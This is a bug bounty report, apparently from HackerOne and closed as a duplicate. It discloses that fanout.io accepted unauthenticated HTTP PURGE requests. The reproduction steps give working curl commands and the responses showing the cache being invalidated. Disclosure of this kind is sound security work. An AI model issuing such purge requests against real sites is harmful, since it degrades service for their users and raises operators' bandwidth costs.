Cache purge requests are not authenticated
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xerhakhd
Vulnerability Details
Technical details and impact analysis
## Summary:
Anyone can issue a PURGE request for any resource and invalidate your caches. That can lead to increased bandwidth costs but also potential Denial of Service attacks.
## Steps To Reproduce:
1. Fetching the resource headers, we can see in the X-Cache that the resource was a HIT with X-Cache-Hits: 5:
Put the below command in the terminal (this is request):
# curl -s -D - https://fanout.io -o /dev/null
HTTP/2 200
server: nginx/1.14.0 (Ubuntu)
content-type: text/html; charset=utf-8
x-frame-options: DENY
x-content-type-options: nosniff
accept-ranges: bytes
date: Wed, 12 Apr 2023 00:05:08 GMT
via: 1.1 varnish
age: 1215
x-served-by: cache-maa10224-MAA
x-cache: HIT
x-cache-hits: 5
x-timer: S1681257908.308066,VS0,VE0
vary: Cookie
content-length: 20567
2. Then put the below command to purge the cache as an unauthenticated user. And see the result, Status is OK means it successfully deletes the cache without authentication.
# curl -X PURGE https://fanout.io
{ "status": "ok", "id": "10234-1680248948-114138" }
3. Now again fire the first command to see the x-cache-hits. See, the x-cache-hits is 1 now.
# curl -s -D - https://fanout.io -o /dev/null
HTTP/2 200
server: nginx/1.14.0 (Ubuntu)
content-type: text/html; charset=utf-8
x-frame-options: DENY
x-content-type-options: nosniff
accept-ranges: bytes
date: Wed, 12 Apr 2023 00:06:01 GMT
via: 1.1 varnish
age: 8
x-served-by: cache-maa10233-MAA
x-cache: HIT
x-cache-hits: 1
x-timer: S1681257962.998849,VS0,VE1
vary: Cookie
content-length: 20567
## Supporting Material/References:
Here is attached screenshots.
1. {F2287583}
2. {F2287584}
3. {F2287585}
Also I am putting a reference report link here.
https://hackerone.com/reports/154278
## Impact
This can lead to increased bandwidth costs and degraded application performance. Allowing anonymous users to purge cache could be used to maliciously degrade performance.
Report Details
Additional information and metadata
State
Closed
Substate
Duplicate
Submitted
Weakness
Improper Access Control - Generic